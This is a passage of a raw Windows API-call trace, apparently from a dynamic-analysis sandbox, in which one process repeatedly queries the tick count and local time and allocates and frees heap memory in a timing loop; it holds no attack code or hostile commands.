0x1146ce7 [0062.691] GetTickCount () returned 0x1146ce7 [0062.691] GetTickCount () returned 0x1146ce7 [0062.691] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.691] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.691] GetTickCount () returned 0x1146ce7 [0062.706] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0xf3)) [0062.706] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.706] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.706] GetCurrentProcessId () returned 0x9e0 [0062.706] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.706] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.706] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.706] GetTickCount () returned 0x1146cf6 [0062.706] GetTickCount () returned 0x1146cf6 [0062.707] GetTickCount () returned 0x1146cf6 [0062.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.707] GetTickCount () returned 0x1146cf6 [0062.721] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x103)) [0062.721] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.721] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.721] GetCurrentProcessId () returned 0x9e0 [0062.721] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.721] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.721] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.721] GetTickCount () returned 0x1146d06 [0062.721] GetTickCount () returned 0x1146d06 [0062.722] GetTickCount () returned 0x1146d06 [0062.722] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.722] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.722] GetTickCount () returned 0x1146d06 [0062.736] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x113)) [0062.737] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.737] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.737] GetCurrentProcessId () returned 0x9e0 [0062.737] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.737] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.737] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.737] GetTickCount () returned 0x1146d15 [0062.737] GetTickCount () returned 0x1146d15 [0062.737] GetTickCount () returned 0x1146d15 [0062.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.737] GetTickCount () returned 0x1146d15 [0062.752] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x122)) [0062.752] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.752] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.752] GetCurrentProcessId () returned 0x9e0 [0062.752] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.752] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.753] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.753] GetTickCount () returned 0x1146d25 [0062.753] GetTickCount () returned 0x1146d25 [0062.753] GetTickCount () returned 0x1146d25 [0062.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.753] GetTickCount () returned 0x1146d25 [0062.783] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x141)) [0062.783] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.783] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.784] GetCurrentProcessId () returned 0x9e0 [0062.784] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.784] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.784] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.784] GetTickCount () returned 0x1146d44 [0062.784] GetTickCount () returned 0x1146d44 [0062.784] GetTickCount () returned 0x1146d44 [0062.784] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.784] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.784] GetTickCount () returned 0x1146d44 [0062.799] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x151)) [0062.799] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.799] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.799] GetCurrentProcessId () returned 0x9e0 [0062.799] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.799] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.799] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.799] GetTickCount () returned 0x1146d54 [0062.799] GetTickCount () returned 0x1146d54 [0062.799] GetTickCount () returned 0x1146d54 [0062.799] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.799] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.799] GetTickCount () returned 0x1146d54 [0062.815] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x161)) [0062.815] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.815] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.815] GetCurrentProcessId () returned 0x9e0 [0062.815] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.815] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.815] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.815] GetTickCount () returned 0x1146d63 [0062.815] GetTickCount () returned 0x1146d63 [0062.815] GetTickCount () returned 0x1146d63 [0062.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.816] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.816] GetTickCount () returned 0x1146d63 [0062.852] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x180)) [0062.852] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.852] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.852] GetCurrentProcessId () returned 0x9e0 [0062.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.852] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.852] GetTickCount () returned 0x1146d83 [0062.852] GetTickCount () returned 0x1146d83 [0062.852] GetTickCount () returned 0x1146d83 [0062.852] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.852] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.852] GetTickCount () returned 0x1146d83 [0062.857] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x180)) [0062.857] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.857] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.857] GetCurrentProcessId () returned 0x9e0 [0062.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.857] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.857] GetTickCount () returned 0x1146d83 [0062.857] GetTickCount () returned 0x1146d83 [0062.857] GetTickCount () returned 0x1146d83 [0062.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.858] GetTickCount () returned 0x1146d83 [0062.858] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x180)) [0062.858] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.858] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.858] GetCurrentProcessId () returned 0x9e0 [0062.858] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.858] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.858] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.858] GetTickCount () returned 0x1146d83 [0062.858] GetTickCount () returned 0x1146d83 [0062.858] GetTickCount () returned 0x1146d83 [0062.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.858] GetTickCount () returned 0x1146d83 [0062.859] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x180)) [0062.860] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.860] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.860] GetCurrentProcessId () returned 0x9e0 [0062.860] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.860] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.860] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.860] GetTickCount () returned 0x1146d83 [0062.860] GetTickCount () returned 0x1146d83 [0062.860] GetTickCount () returned 0x1146d83 [0062.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.860] GetTickCount () returned 0x1146d83 [0062.860] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x180)) [0062.860] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.861] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.861] GetCurrentProcessId () returned 0x9e0 [0062.861] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.861] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.861] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.861] GetTickCount () returned 0x1146d83 [0062.861] GetTickCount () returned 0x1146d83 [0062.861] GetTickCount () returned 0x1146d92 [0062.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.861] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.861] GetTickCount () returned 0x1146d92 [0062.863] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x18f)) [0062.864] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.864] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.864] GetCurrentProcessId () returned 0x9e0 [0062.864] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.864] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.864] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.864] GetTickCount () returned 0x1146d92 [0062.864] GetTickCount () returned 0x1146d92 [0062.864] GetTickCount () returned 0x1146d92 [0062.864] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.864] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.864] GetTickCount () returned 0x1146d92 [0062.864] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x18f)) [0062.864] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.865] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.865] GetCurrentProcessId () returned 0x9e0 [0062.865] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.865] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.865] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.865] GetTickCount () returned 0x1146d92 [0062.865] GetTickCount () returned 0x1146d92 [0062.865] GetTickCount () returned 0x1146d92 [0062.865] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.865] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.865] GetTickCount () returned 0x1146d92 [0062.871] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x18f)) [0062.872] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.872] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.872] GetCurrentProcessId () returned 0x9e0 [0062.872] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.872] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.872] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.872] GetTickCount () returned 0x1146d92 [0062.872] GetTickCount () returned 0x1146d92 [0062.872] GetTickCount () returned 0x1146d92 [0062.872] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.872] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.872] GetTickCount () returned 0x1146d92 [0062.886] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x19f)) [0062.886] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.886] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.886] GetCurrentProcessId () returned 0x9e0 [0062.886] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.886] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.886] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.886] GetTickCount () returned 0x1146da2 [0062.886] GetTickCount () returned 0x1146da2 [0062.887] GetTickCount () returned 0x1146da2 [0062.887] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.887] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.887] GetTickCount () returned 0x1146da2 [0062.893] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1af)) [0062.894] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.894] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.894] GetCurrentProcessId () returned 0x9e0 [0062.894] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.894] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.894] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.894] GetTickCount () returned 0x1146db1 [0062.894] GetTickCount () returned 0x1146db1 [0062.894] GetTickCount () returned 0x1146db1 [0062.894] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.894] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.894] GetTickCount () returned 0x1146db1 [0062.895] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1af)) [0062.895] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.895] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.895] GetCurrentProcessId () returned 0x9e0 [0062.895] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.895] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.895] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.895] GetTickCount () returned 0x1146db1 [0062.895] GetTickCount () returned 0x1146db1 [0062.896] GetTickCount () returned 0x1146db1 [0062.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.896] GetTickCount () returned 0x1146db1 [0062.908] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1be)) [0062.908] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.908] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.908] GetCurrentProcessId () returned 0x9e0 [0062.908] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.908] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.908] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.908] GetTickCount () returned 0x1146dc1 [0062.908] GetTickCount () returned 0x1146dc1 [0062.908] GetTickCount () returned 0x1146dc1 [0062.908] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.909] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.909] GetTickCount () returned 0x1146dc1 [0062.939] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1ce)) [0062.939] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.939] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.939] GetCurrentProcessId () returned 0x9e0 [0062.939] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.939] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.939] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.939] GetTickCount () returned 0x1146de0 [0062.939] GetTickCount () returned 0x1146de0 [0062.939] GetTickCount () returned 0x1146de0 [0062.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.940] GetTickCount () returned 0x1146de0 [0062.940] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1dd)) [0062.940] VarSub (in: pvarLeft=0x18f97c, 